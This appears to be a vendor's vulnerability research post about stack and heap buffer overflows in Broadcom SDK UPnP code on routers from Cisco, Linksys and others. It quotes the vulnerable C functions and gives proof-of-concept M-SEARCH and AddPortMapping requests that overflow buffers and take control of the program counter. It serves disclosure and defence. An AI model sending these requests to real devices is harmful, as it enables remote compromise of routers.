Resources
>
Research
>
Swimming Upstream: Uncovering Broadcom SDK vulnerabilities from bug reports

Swimming Upstream: Uncovering Broadcom SDK vulnerabilities from bug reports

Swimming Upstream: Uncovering Broadcom SDK vulnerabilities from bug reports
TablE of contents

READY TO UPGRADE YOUR RISK MANAGEMENT?

Make cybersecurity and compliance efficient and effective with ONEKEY.

Book a Demo
We identified multiple security vulnerabilities affecting the UPnP implementation of Broadcom’s SDK when developing detection rules for Broadcom binaries. While we found indications that Broadcom patched these vulnerabilities as early as 2011, we discovered them to still be affecting devices released years later by major vendors such as Cisco, DD-WRT, or Linksys. This led to the disclosure of security vulnerabilities such as (an unauthenticated remote code execution as root affecting Cisco RV110/RV130/RV215, which turned a forever-day). We also linked one of these vulnerabilities to a security advisory released jointly by and in early 2021. This further demonstrates the crucial need for supply chain security validation, such as secure development lifecycles and source code reviews on the supplier’s end, and third-party source code review on the device vendor’s end. Using IoT Inspector, this and many other supply chain issues can be identified automatically. In an effort to making IoT secure, you can , free of charge.

Overview

In the continuous quest to extend our software composition analysis, we were exploring rules for Broadcom binaries that we frequently find in connected devices by a variety of manufacturers. The filenames of these binaries usually start with 
bcm
bcm (e.g., 
bcm_atmctl
bcm_atmctl
bcmcastctl
bcmcastctl
bcm_flasher
bcm_flasher, …).
In the process, we also investigated a Broadcom binary implementing a UPnP service that we found in a 4G/LTE router manufactured by a Chinese vendor. This binary was named bcmupnp, and in the reversing process we discovered two obvious flaws:
  • a stack buffer overflow via SSDP M-SEARCH packets
  • a heap buffer overflow via UPnP PortmapAdd calls
When documenting these flaws, we noticed that some of these vulnerabilities were previously disclosed and documented already. However, none of the previous publications tied the vulnerabilities to the actual producer of that code: Broadcom.With this new knowledge, we developed a vulnerability detection rule for IoT Inspector, and uncovered multiple affected vendors and manufacturers in our dataset.Broadcom did not reveal the exact versions of their SDK that are affected by these flaws to us, so we can only provide some guesstimates based on diffing Broadcom source code leaked in GitHub public repositories. Furthermore, we are unable to provide generic CVE identifiers for these issues, as Broadcom never issued one and vendors such as DD-WRT or Cisco started issuing their own. However, we did try our best to untangle some pretty messy supply chains.
Affected vendor & product Vendor Advisory   Broadcom SDK (https://www.broadcom.com) N/A
Vulnerable version n/a - Broadcom did not disclose exact fixed versions to us (see below for our estimates).
Fixed version n/a - Broadcom did not disclose exact fixed versions to us (see below for our estimates). Some vendors chose to fix it (DD-WRT) and others closed it as wontfix (Cisco)
CVE IDs CVE-2021-27137 - DD-WRT CVE-2021-34730 - Cisco
Impact CVE-2021-27137 - DD-WRT - UNKNOWN CVE-2021-34730 - Cisco - 9.8 (critical) - AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Credit Q. Kaiser, IoT Inspector Research Lab Selim Enes Karaduman, working with SSD Disclosure
strncpy
strncpy
* $Id: upnp_ssdp.c 305062 2011-12-26 10:48:21Z kenlo $
* $Id: upnp_ssdp.c 305062 2011-12-26 10:48:21Z kenlo $
* $Id: upnp_ssdp.c 305062 2011-12-26 10:48:21Z kenlo $
* $Id: InternetGatewayDevice.c 241192 2011-02-17 21:52:25Z gmo $
* $Id: InternetGatewayDevice.c 241192 2011-02-17 21:52:25Z gmo $
* $Id: InternetGatewayDevice.c 241192 2011-02-17 21:52:25Z gmo $
The only information on fix/non fix was obtained from Broadcom’s source code leaks on GitHub. First appearance of fix for stack overflow in upstream with a change towards : Latest appearance of heap buffer overflow in upstream, never saw a public fix. Not sure when it was fixed (if ever).

Ad Banner For BlogThe Vulnerabilities

Stack Buffer Overflow via ssdp_msearch

  • M-SEARCH – sent by clients wishing to discover available services on a network.
  • NOTIFY – sent by UPnP servers to announce the establishment or withdrawal of service information to the multicast group.
ssdp_msearch
ssdp_msearch
ssdp_methods
ssdp_methods
struct upnp_method ssdp_methods[] =
{
{"M-SEARCH ", sizeof("M-SEARCH ")-1, METHOD_MSEARCH, ssdp_msearch},
{0, 0, 0, 0}
};
struct upnp_method ssdp_methods[] = { {"M-SEARCH ", sizeof("M-SEARCH ")-1, METHOD_MSEARCH, ssdp_msearch}, {0, 0, 0, 0} };
struct upnp_method ssdp_methods[] = 
{ 
        {"M-SEARCH ",   sizeof("M-SEARCH ")-1,  METHOD_MSEARCH,     ssdp_msearch}, 
        {0,             0,                      0,                  0} 
};
M-SEARCH
ssdp_msearch
ssdp_msearch
ssdp_msearch
ssdp_msearch
HOST
HOST
MAN
MAN
ST
ST
ST
ST
uuid:
uuid:
strcpy
strcpy
name
name
/* Parse the M-SEARCH message */
int ssdp_msearch(UPNP_CONTEXT *context)
{
char name[128];
int type;
char *host;
char *man;
char *st;
/* check HOST:239.255.255.250:1900 */
host = context->HOST;
if (!host || strcmp(host, "239.255.255.250:1900") != 0)
return -1;
/* check MAN:"ssdp:discover" */
man = context->MAN;
if (!man || strcmp(man, "\"ssdp:discover\"") != 0)
return -1;
/* process search target */
st = context->ST;
if (!st)
return -1;
if (strcmp(st, "ssdp:all") == 0) {
type = MSEARCH_ALL;
}
else if (strcmp(st, "upnp:rootdevice") == 0) {
type = MSEARCH_ROOTDEVICE;
}
else if (memcmp(st, "uuid:", 5) == 0) {
/* uuid */
type = MSEARCH_UUID;
st += 5;
strcpy(name, st);
}
}
/* Parse the M-SEARCH message */ int ssdp_msearch(UPNP_CONTEXT *context) { char name[128]; int type; char *host; char *man; char *st; /* check HOST:239.255.255.250:1900 */ host = context->HOST; if (!host || strcmp(host, "239.255.255.250:1900") != 0) return -1; /* check MAN:"ssdp:discover" */ man = context->MAN; if (!man || strcmp(man, "\"ssdp:discover\"") != 0) return -1; /* process search target */ st = context->ST; if (!st) return -1; if (strcmp(st, "ssdp:all") == 0) { type = MSEARCH_ALL; } else if (strcmp(st, "upnp:rootdevice") == 0) { type = MSEARCH_ROOTDEVICE; } else if (memcmp(st, "uuid:", 5) == 0) { /* uuid */ type = MSEARCH_UUID; st += 5; strcpy(name, st); } }
/* Parse the M-SEARCH message */ 
int ssdp_msearch(UPNP_CONTEXT *context) 
{
        char name[128]; 
        int  type; 
        char *host; 
        char *man; 
        char *st; 

        /* check HOST:239.255.255.250:1900 */ 
        host = context->HOST; 
        if (!host || strcmp(host, "239.255.255.250:1900") != 0) 
                return -1; 
 
        /* check MAN:"ssdp:discover" */ 
        man = context->MAN; 
        if (!man || strcmp(man, "\"ssdp:discover\"") != 0) 
                return -1; 
 
        /* process search target */ 
        st = context->ST; 
        if (!st) 
                return -1; 
 
        if (strcmp(st, "ssdp:all") == 0) { 
                type = MSEARCH_ALL; 
        } 
        else if (strcmp(st, "upnp:rootdevice") == 0) { 
                type = MSEARCH_ROOTDEVICE; 
        } 
        else if (memcmp(st, "uuid:", 5) == 0) { 
                /* uuid */ 
                type = MSEARCH_UUID; 
                st += 5; 
                strcpy(name, st); 
        } 
}
To exploit this bug, one would simply need to send an SSDP M-SEARCH request resembling the one below: 
M-SEARCH * HTTP/1.1
HOST:239.255.255.250:1900
ST:uuid:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...
MX:2
MAN:"ssdp:discover"
M-SEARCH * HTTP/1.1 HOST:239.255.255.250:1900 ST:uuid:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA... MX:2 MAN:"ssdp:discover"
M-SEARCH * HTTP/1.1
HOST:239.255.255.250:1900
ST:uuid:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...
MX:2
MAN:"ssdp:discover"
$r4
$r4
$r11
$r11stack overflow via M-SEARCH message, we proved control of the program counter by setting it to 0x41414141initial work targeting these brands of devicesRV130 remote command execution proof-of-concept

Heap Buffer Overflow via upnp_portmap_add

POST /control?WANIPConnection HTTP/1.1
Host: 192.168.100.1:1780
SOAPAction: "urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping"
Accept-Language: en-us;q=1, en;q=0.5
Accept-Encoding: gzip
Content-Type: text/xml; charset="utf-8"
Connection: Keep-Alive
Content-Length: 1105
<?xml version="1.0"?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<s:Body>
<u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1">
<NewLeaseDuration>3600</NewLeaseDuration>
<NewPortMappingDescription>gaming console</NewPortMappingDescription>
<NewEnabled>0</NewEnabled>
<NewInternalClient>192.168.100.100</NewInternalClient>
<NewInternalPort>52942</NewInternalPort>
<NewProtocol>TCP</NewProtocol>
<NewExternalPort>52942</NewExternalPort>
<NewRemoteHost>192.168.1.42</NewRemoteHost>
</u:AddPortMapping>
</s:Body>
</s:Envelope>
POST /control?WANIPConnection HTTP/1.1 Host: 192.168.100.1:1780 SOAPAction: "urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping" Accept-Language: en-us;q=1, en;q=0.5 Accept-Encoding: gzip Content-Type: text/xml; charset="utf-8" Connection: Keep-Alive Content-Length: 1105 <?xml version="1.0"?> <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <s:Body> <u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"> <NewLeaseDuration>3600</NewLeaseDuration> <NewPortMappingDescription>gaming console</NewPortMappingDescription> <NewEnabled>0</NewEnabled> <NewInternalClient>192.168.100.100</NewInternalClient> <NewInternalPort>52942</NewInternalPort> <NewProtocol>TCP</NewProtocol> <NewExternalPort>52942</NewExternalPort> <NewRemoteHost>192.168.1.42</NewRemoteHost> </u:AddPortMapping> </s:Body> </s:Envelope>
POST /control?WANIPConnection HTTP/1.1 
Host: 192.168.100.1:1780 
SOAPAction: "urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping" 
Accept-Language: en-us;q=1, en;q=0.5 
Accept-Encoding: gzip 
Content-Type: text/xml; charset="utf-8" 
Connection: Keep-Alive 
Content-Length: 1105 

<?xml version="1.0"?> 
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> 
  <s:Body> 
    <u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"> 
      <NewLeaseDuration>3600</NewLeaseDuration> 
      <NewPortMappingDescription>gaming console</NewPortMappingDescription> 
      <NewEnabled>0</NewEnabled> 
      <NewInternalClient>192.168.100.100</NewInternalClient> 
      <NewInternalPort>52942</NewInternalPort> 
      <NewProtocol>TCP</NewProtocol> 
      <NewExternalPort>52942</NewExternalPort> 
      <NewRemoteHost>192.168.1.42</NewRemoteHost> 
    </u:AddPortMapping> 
  </s:Body> 
</s:Envelope>
map
map
AddPortMapping
AddPortMapping
./device/InternetGatewayDevice/soap_x_wanipconnection.c
./device/InternetGatewayDevice/soap_x_wanipconnection.c
UPNP_ACTION action_x_wanipconnection[] =
{
{"AddPortMapping", 8, arg_in_AddPortMapping, 0, 0, &action_AddPortMapping},
{"DeletePortMapping", 3, arg_in_DeletePortMapping, 0, 0, &action_DeletePortMapping},
{"ForceTermination", 0, 0, 0, 0, &action_ForceTermination},
{"GetConnectionTypeInfo", 0, 0, 2, arg_out_GetConnectionTypeInfo, &action_GetConnectionTypeInfo},
{"GetExternalIPAddress", 0, 0, 1, arg_out_GetExternalIPAddress, &action_GetExternalIPAddress},
{"GetGenericPortMappingEntry", 1, arg_in_GetGenericPortMappingEntry, 8, arg_out_GetGenericPortMappingEntry, &action_GetGenericPortMappingEntry},
{"GetNATRSIPStatus", 0, 0, 2, arg_out_GetNATRSIPStatus, &action_GetNATRSIPStatus},
{"GetSpecificPortMappingEntry", 3, arg_in_GetSpecificPortMappingEntry, 5, arg_out_GetSpecificPortMappingEntry, &action_GetSpecificPortMappingEntry},
{"GetStatusInfo", 0, 0, 3, arg_out_GetStatusInfo, &action_GetStatusInfo},
{"RequestConnection", 0, 0, 0, 0, &action_RequestConnection},
{"SetConnectionType", 1, arg_in_SetConnectionType, 0, 0, &action_SetConnectionType},
{0, 0, 0, 0, 0, 0}
};
UPNP_ACTION action_x_wanipconnection[] = { {"AddPortMapping", 8, arg_in_AddPortMapping, 0, 0, &action_AddPortMapping}, {"DeletePortMapping", 3, arg_in_DeletePortMapping, 0, 0, &action_DeletePortMapping}, {"ForceTermination", 0, 0, 0, 0, &action_ForceTermination}, {"GetConnectionTypeInfo", 0, 0, 2, arg_out_GetConnectionTypeInfo, &action_GetConnectionTypeInfo}, {"GetExternalIPAddress", 0, 0, 1, arg_out_GetExternalIPAddress, &action_GetExternalIPAddress}, {"GetGenericPortMappingEntry", 1, arg_in_GetGenericPortMappingEntry, 8, arg_out_GetGenericPortMappingEntry, &action_GetGenericPortMappingEntry}, {"GetNATRSIPStatus", 0, 0, 2, arg_out_GetNATRSIPStatus, &action_GetNATRSIPStatus}, {"GetSpecificPortMappingEntry", 3, arg_in_GetSpecificPortMappingEntry, 5, arg_out_GetSpecificPortMappingEntry, &action_GetSpecificPortMappingEntry}, {"GetStatusInfo", 0, 0, 3, arg_out_GetStatusInfo, &action_GetStatusInfo}, {"RequestConnection", 0, 0, 0, 0, &action_RequestConnection}, {"SetConnectionType", 1, arg_in_SetConnectionType, 0, 0, &action_SetConnectionType}, {0, 0, 0, 0, 0, 0} };
UPNP_ACTION action_x_wanipconnection[] =
{
        {"AddPortMapping",              8,  arg_in_AddPortMapping,              0,  0,                                      &action_AddPortMapping},
        {"DeletePortMapping",           3,  arg_in_DeletePortMapping,           0,  0,                                      &action_DeletePortMapping},
        {"ForceTermination",            0,  0,                                  0,  0,                                      &action_ForceTermination},
        {"GetConnectionTypeInfo",       0,  0,                                  2,  arg_out_GetConnectionTypeInfo,          &action_GetConnectionTypeInfo},
        {"GetExternalIPAddress",        0,  0,                                  1,  arg_out_GetExternalIPAddress,           &action_GetExternalIPAddress},
        {"GetGenericPortMappingEntry",  1,  arg_in_GetGenericPortMappingEntry,  8,  arg_out_GetGenericPortMappingEntry,     &action_GetGenericPortMappingEntry},
        {"GetNATRSIPStatus",            0,  0,                                  2,  arg_out_GetNATRSIPStatus,               &action_GetNATRSIPStatus},
        {"GetSpecificPortMappingEntry", 3,  arg_in_GetSpecificPortMappingEntry, 5,  arg_out_GetSpecificPortMappingEntry,    &action_GetSpecificPortMappingEntry},
        {"GetStatusInfo",               0,  0,                                  3,  arg_out_GetStatusInfo,                  &action_GetStatusInfo},
        {"RequestConnection",           0,  0,                                  0,  0,                                      &action_RequestConnection},
        {"SetConnectionType",           1,  arg_in_SetConnectionType,           0,  0,                                      &action_SetConnectionType},
        {0,                             0,  0,                                  0,  0,                                      0}
};
upnp_portmap_add
upnp_portmap_add
/* << AUTO GENERATED FUNCTION: action_AddPortMapping() */
static int
action_AddPortMapping
(
UPNP_CONTEXT * context,
UPNP_SERVICE *service,
IN_ARGUMENT *in_argument,
OUT_ARGUMENT *out_argument
)
{
/* --snip-- */
/* << USER CODE START >> */
IN_ARGUMENT *in_NewRemoteHost = UPNP_IN_ARG("NewRemoteHost");
IN_ARGUMENT *in_NewExternalPort = UPNP_IN_ARG("NewExternalPort");
IN_ARGUMENT *in_NewProtocol = UPNP_IN_ARG("NewProtocol");
IN_ARGUMENT *in_NewInternalPort = UPNP_IN_ARG("NewInternalPort");
IN_ARGUMENT *in_NewInternalClient = UPNP_IN_ARG("NewInternalClient");
IN_ARGUMENT *in_NewEnabled = UPNP_IN_ARG("NewEnabled");
IN_ARGUMENT *in_NewPortMappingDescription = UPNP_IN_ARG("NewPortMappingDescription");
IN_ARGUMENT *in_NewLeaseDuration = UPNP_IN_ARG("NewLeaseDuration");
UPNP_STATE_VAR *statevar;
UPNP_VALUE value = {UPNP_TYPE_UI2, 2};
int error = upnp_portmap_add(context,
ARG_STR(in_NewRemoteHost),
ARG_UI2(in_NewExternalPort),
ARG_STR(in_NewProtocol),
ARG_UI2(in_NewInternalPort),
ARG_STR(in_NewInternalClient),
ARG_BOOL(in_NewEnabled),
ARG_STR(in_NewPortMappingDescription),
ARG_UI4(in_NewLeaseDuration));
if (error)
{
return error;
}
/* --snip-- */
}
/* << AUTO GENERATED FUNCTION: action_AddPortMapping() */ static int action_AddPortMapping ( UPNP_CONTEXT * context, UPNP_SERVICE *service, IN_ARGUMENT *in_argument, OUT_ARGUMENT *out_argument ) { /* --snip-- */ /* << USER CODE START >> */ IN_ARGUMENT *in_NewRemoteHost = UPNP_IN_ARG("NewRemoteHost"); IN_ARGUMENT *in_NewExternalPort = UPNP_IN_ARG("NewExternalPort"); IN_ARGUMENT *in_NewProtocol = UPNP_IN_ARG("NewProtocol"); IN_ARGUMENT *in_NewInternalPort = UPNP_IN_ARG("NewInternalPort"); IN_ARGUMENT *in_NewInternalClient = UPNP_IN_ARG("NewInternalClient"); IN_ARGUMENT *in_NewEnabled = UPNP_IN_ARG("NewEnabled"); IN_ARGUMENT *in_NewPortMappingDescription = UPNP_IN_ARG("NewPortMappingDescription"); IN_ARGUMENT *in_NewLeaseDuration = UPNP_IN_ARG("NewLeaseDuration"); UPNP_STATE_VAR *statevar; UPNP_VALUE value = {UPNP_TYPE_UI2, 2}; int error = upnp_portmap_add(context, ARG_STR(in_NewRemoteHost), ARG_UI2(in_NewExternalPort), ARG_STR(in_NewProtocol), ARG_UI2(in_NewInternalPort), ARG_STR(in_NewInternalClient), ARG_BOOL(in_NewEnabled), ARG_STR(in_NewPortMappingDescription), ARG_UI4(in_NewLeaseDuration)); if (error) { return error; } /* --snip-- */ }
/* << AUTO GENERATED FUNCTION: action_AddPortMapping() */
static int
action_AddPortMapping
(
        UPNP_CONTEXT * context,
        UPNP_SERVICE *service,
        IN_ARGUMENT *in_argument,
        OUT_ARGUMENT *out_argument
)
{
        /* --snip-- */

        /* << USER CODE START >> */
        IN_ARGUMENT *in_NewRemoteHost = UPNP_IN_ARG("NewRemoteHost");
        IN_ARGUMENT *in_NewExternalPort = UPNP_IN_ARG("NewExternalPort");
        IN_ARGUMENT *in_NewProtocol = UPNP_IN_ARG("NewProtocol");
        IN_ARGUMENT *in_NewInternalPort = UPNP_IN_ARG("NewInternalPort");
        IN_ARGUMENT *in_NewInternalClient = UPNP_IN_ARG("NewInternalClient");
        IN_ARGUMENT *in_NewEnabled = UPNP_IN_ARG("NewEnabled");
        IN_ARGUMENT *in_NewPortMappingDescription = UPNP_IN_ARG("NewPortMappingDescription");
        IN_ARGUMENT *in_NewLeaseDuration = UPNP_IN_ARG("NewLeaseDuration");

        UPNP_STATE_VAR *statevar;
        UPNP_VALUE value = {UPNP_TYPE_UI2, 2};

       int error = upnp_portmap_add(context,
                                                ARG_STR(in_NewRemoteHost),
                                                ARG_UI2(in_NewExternalPort),
                                                ARG_STR(in_NewProtocol),
                                                ARG_UI2(in_NewInternalPort),
                                                ARG_STR(in_NewInternalClient),
                                                ARG_BOOL(in_NewEnabled),
                                                ARG_STR(in_NewPortMappingDescription),
                                                ARG_UI4(in_NewLeaseDuration));
        if (error)
        {
            return error;
        }
        /* --snip-- */
}
upnp_portmap_add
upnp_portmap_add
portmap
portmap
strcpy
strcpy
/* Add a new port mapping entry */
int
upnp_portmap_add
(
UPNP_CONTEXT *context,
char *remote_host,
unsigned short external_port,
char *protocol,
unsigned short internal_port,
char *internal_client,
unsigned int enable,
char *description,
unsigned long duration
)
{
UPNP_PORTMAP_CTRL *portmap_ctrl;
UPNP_PORTMAP *map;
/* Get control body */
portmap_ctrl = (UPNP_PORTMAP_CTRL *)(context->focus_ifp->focus_devchain->devctrl);
/* data validation */
if (strcasecmp(protocol, "TCP") != 0 &&
strcasecmp(protocol, "UDP") != 0) {
upnp_syslog(LOG_ERR, "add_portmap:: Invalid protocol");
return SOAP_ARGUMENT_VALUE_INVALID;
}
/* check duplication */
map = upnp_portmap_find(context, remote_host, external_port, protocol);
if (map) {
if (strcmp(internal_client, map->internal_client) != 0)
return SOAP_CONFLICT_IN_MAPPING_ENTRY;
/* Argus, make it looked like shutdown */
if (enable != map->enable ||
internal_port != map->internal_port) {
if (map->enable) {
map->enable = 0;
upnp_osl_nat_config(map);
}
}
}
else {
if (portmap_ctrl->num == portmap_ctrl->limit) {
UPNP_PORTMAP_CTRL *new_portmap_ctrl;
int old_limit = portmap_ctrl->limit;
int old_size = UPNP_PORTMAP_CTRL_SIZE + old_limit * sizeof(UPNP_PORTMAP);
int new_limit = old_limit * 2;
int new_size = UPNP_PORTMAP_CTRL_SIZE + new_limit * sizeof(UPNP_PORTMAP);
/*
* malloc a new one for twice the size,
* the reason we don't use realloc is when realloc failed,
* the old memory will be gone!
*/
new_portmap_ctrl = (UPNP_PORTMAP_CTRL *)malloc(new_size);
if (new_portmap_ctrl == 0)
return SOAP_OUT_OF_MEMORY;
/* Copy the old to the new one, and free it */
memcpy(new_portmap_ctrl, portmap_ctrl, old_size);
free(portmap_ctrl);
/* Assign the new one as the portmap_ctrl */
portmap_ctrl = new_portmap_ctrl;
context->focus_ifp->focus_devchain->devctrl = new_portmap_ctrl;
portmap_ctrl->limit = new_limit;
}
/* Locate the map and advance the total number */
map = portmap_ctrl->pmlist + portmap_ctrl->num;
portmap_ctrl->num++;
}
/* Update database */
map->external_port = external_port;
map->internal_port = internal_port;
map->enable = enable;
map->duration = duration;
map->book_time = time(0);
strcpy(map->remote_host, remote_host);
strcpy(map->protocol, protocol);
strcpy(map->internal_client, internal_client);
strcpy(map->description, description);
/* Set to NAT kernel */
if (map->enable)
upnp_osl_nat_config(map);
return 0;
}
/* Add a new port mapping entry */ int upnp_portmap_add ( UPNP_CONTEXT *context, char *remote_host, unsigned short external_port, char *protocol, unsigned short internal_port, char *internal_client, unsigned int enable, char *description, unsigned long duration ) { UPNP_PORTMAP_CTRL *portmap_ctrl; UPNP_PORTMAP *map; /* Get control body */ portmap_ctrl = (UPNP_PORTMAP_CTRL *)(context->focus_ifp->focus_devchain->devctrl); /* data validation */ if (strcasecmp(protocol, "TCP") != 0 && strcasecmp(protocol, "UDP") != 0) { upnp_syslog(LOG_ERR, "add_portmap:: Invalid protocol"); return SOAP_ARGUMENT_VALUE_INVALID; } /* check duplication */ map = upnp_portmap_find(context, remote_host, external_port, protocol); if (map) { if (strcmp(internal_client, map->internal_client) != 0) return SOAP_CONFLICT_IN_MAPPING_ENTRY; /* Argus, make it looked like shutdown */ if (enable != map->enable || internal_port != map->internal_port) { if (map->enable) { map->enable = 0; upnp_osl_nat_config(map); } } } else { if (portmap_ctrl->num == portmap_ctrl->limit) { UPNP_PORTMAP_CTRL *new_portmap_ctrl; int old_limit = portmap_ctrl->limit; int old_size = UPNP_PORTMAP_CTRL_SIZE + old_limit * sizeof(UPNP_PORTMAP); int new_limit = old_limit * 2; int new_size = UPNP_PORTMAP_CTRL_SIZE + new_limit * sizeof(UPNP_PORTMAP); /* * malloc a new one for twice the size, * the reason we don't use realloc is when realloc failed, * the old memory will be gone! */ new_portmap_ctrl = (UPNP_PORTMAP_CTRL *)malloc(new_size); if (new_portmap_ctrl == 0) return SOAP_OUT_OF_MEMORY; /* Copy the old to the new one, and free it */ memcpy(new_portmap_ctrl, portmap_ctrl, old_size); free(portmap_ctrl); /* Assign the new one as the portmap_ctrl */ portmap_ctrl = new_portmap_ctrl; context->focus_ifp->focus_devchain->devctrl = new_portmap_ctrl; portmap_ctrl->limit = new_limit; } /* Locate the map and advance the total number */ map = portmap_ctrl->pmlist + portmap_ctrl->num; portmap_ctrl->num++; } /* Update database */ map->external_port = external_port; map->internal_port = internal_port; map->enable = enable; map->duration = duration; map->book_time = time(0); strcpy(map->remote_host, remote_host); strcpy(map->protocol, protocol); strcpy(map->internal_client, internal_client); strcpy(map->description, description); /* Set to NAT kernel */ if (map->enable) upnp_osl_nat_config(map); return 0; }
/* Add a new port mapping entry */
int
upnp_portmap_add
(
        UPNP_CONTEXT    *context,
        char            *remote_host,
        unsigned short  external_port,
        char            *protocol,
        unsigned short  internal_port,
        char            *internal_client,
        unsigned int    enable,
        char            *description,
        unsigned long   duration
)
{
        UPNP_PORTMAP_CTRL *portmap_ctrl;
        UPNP_PORTMAP *map;

        /* Get control body */
        portmap_ctrl = (UPNP_PORTMAP_CTRL *)(context->focus_ifp->focus_devchain->devctrl);

        /* data validation */
        if (strcasecmp(protocol, "TCP") != 0 &&
                strcasecmp(protocol, "UDP") != 0) {
                upnp_syslog(LOG_ERR, "add_portmap:: Invalid protocol");
                return SOAP_ARGUMENT_VALUE_INVALID;
        }

        /* check duplication */
        map = upnp_portmap_find(context, remote_host, external_port, protocol);
        if (map) {
                if (strcmp(internal_client, map->internal_client) != 0)
                        return SOAP_CONFLICT_IN_MAPPING_ENTRY;

                /* Argus, make it looked like shutdown */
                if (enable != map->enable ||
                        internal_port != map->internal_port) {

                        if (map->enable) {
                                map->enable = 0;
                                upnp_osl_nat_config(map);
                        }
                }
        }
        else {
                if (portmap_ctrl->num == portmap_ctrl->limit) {

                        UPNP_PORTMAP_CTRL *new_portmap_ctrl;

                        int old_limit = portmap_ctrl->limit;
                        int old_size = UPNP_PORTMAP_CTRL_SIZE + old_limit * sizeof(UPNP_PORTMAP);

                        int new_limit = old_limit * 2;
                        int new_size = UPNP_PORTMAP_CTRL_SIZE + new_limit * sizeof(UPNP_PORTMAP);

                        /*
                         * malloc a new one for twice the size,
                         * the reason we don't use realloc is when realloc failed,
                         * the old memory will be gone!
                         */
                        new_portmap_ctrl = (UPNP_PORTMAP_CTRL *)malloc(new_size);
                        if (new_portmap_ctrl == 0)
                                return SOAP_OUT_OF_MEMORY;

                        /* Copy the old to the new one, and free it */
                        memcpy(new_portmap_ctrl, portmap_ctrl, old_size);

                        free(portmap_ctrl);

                        /* Assign the new one as the portmap_ctrl */
                        portmap_ctrl = new_portmap_ctrl;
                        context->focus_ifp->focus_devchain->devctrl = new_portmap_ctrl;

                        portmap_ctrl->limit = new_limit;
                }

                /* Locate the map and advance the total number */
                map = portmap_ctrl->pmlist + portmap_ctrl->num;
                portmap_ctrl->num++;
        }

        /* Update database */
        map->external_port  = external_port;
        map->internal_port  = internal_port;
        map->enable         = enable;
        map->duration           = duration;
        map->book_time          = time(0);

        strcpy(map->remote_host,        remote_host);
        strcpy(map->protocol,           protocol);
        strcpy(map->internal_client,    internal_client);
        strcpy(map->description,        description);
        
        /* Set to NAT kernel */
        if (map->enable)
                upnp_osl_nat_config(map);

        return 0;
}
POST /control?WANIPConnection HTTP/1.1
Host: 192.168.100.1:1780
SOAPAction: "urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping"
Accept-Language: en-us;q=1, en;q=0.5
Accept-Encoding: gzip
Content-Type: text/xml; charset="utf-8"
Connection: Keep-Alive
Content-Length: 1105
<?xml version="1.0"?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<s:Body>
<u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1">
<NewLeaseDuration>0</NewLeaseDuration>
<NewPortMappingDescription>AAAAAAAAA</NewPortMappingDescription>
<NewEnabled>0</NewEnabled>
<NewInternalClient>192.168.100.100</NewInternalClient>
<NewInternalPort>8000</NewInternalPort>
<NewProtocol>TCP</NewProtocol>
<NewExternalPort>8000</NewExternalPort>
<NewRemoteHost>192.168.1.42</NewRemoteHost>
</u:AddPortMapping>
</s:Body>
</s:Envelope>
POST /control?WANIPConnection HTTP/1.1 Host: 192.168.100.1:1780 SOAPAction: "urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping" Accept-Language: en-us;q=1, en;q=0.5 Accept-Encoding: gzip Content-Type: text/xml; charset="utf-8" Connection: Keep-Alive Content-Length: 1105 <?xml version="1.0"?> <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <s:Body> <u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"> <NewLeaseDuration>0</NewLeaseDuration> <NewPortMappingDescription>AAAAAAAAA</NewPortMappingDescription> <NewEnabled>0</NewEnabled> <NewInternalClient>192.168.100.100</NewInternalClient> <NewInternalPort>8000</NewInternalPort> <NewProtocol>TCP</NewProtocol> <NewExternalPort>8000</NewExternalPort> <NewRemoteHost>192.168.1.42</NewRemoteHost> </u:AddPortMapping> </s:Body> </s:Envelope>
POST /control?WANIPConnection HTTP/1.1
Host: 192.168.100.1:1780
SOAPAction: "urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping"
Accept-Language: en-us;q=1, en;q=0.5
Accept-Encoding: gzip
Content-Type: text/xml; charset="utf-8"
Connection: Keep-Alive
Content-Length: 1105

<?xml version="1.0"?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
  <s:Body>
    <u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1">
      <NewLeaseDuration>0</NewLeaseDuration>
      <NewPortMappingDescription>AAAAAAAAA</NewPortMappingDescription>
      <NewEnabled>0</NewEnabled>
      <NewInternalClient>192.168.100.100</NewInternalClient>
      <NewInternalPort>8000</NewInternalPort>
      <NewProtocol>TCP</NewProtocol>
      <NewExternalPort>8000</NewExternalPort>
      <NewRemoteHost>192.168.1.42</NewRemoteHost>
    </u:AddPortMapping>
  </s:Body>
</s:Envelope>
$r4
$r4
$r11
$r11Heap buffer overflow via UPnP port mapping. We demonstrate control of the program counter by setting it to 0x41414141
NewEnabled
NewEnabled
NewRemoteHost
NewRemoteHost
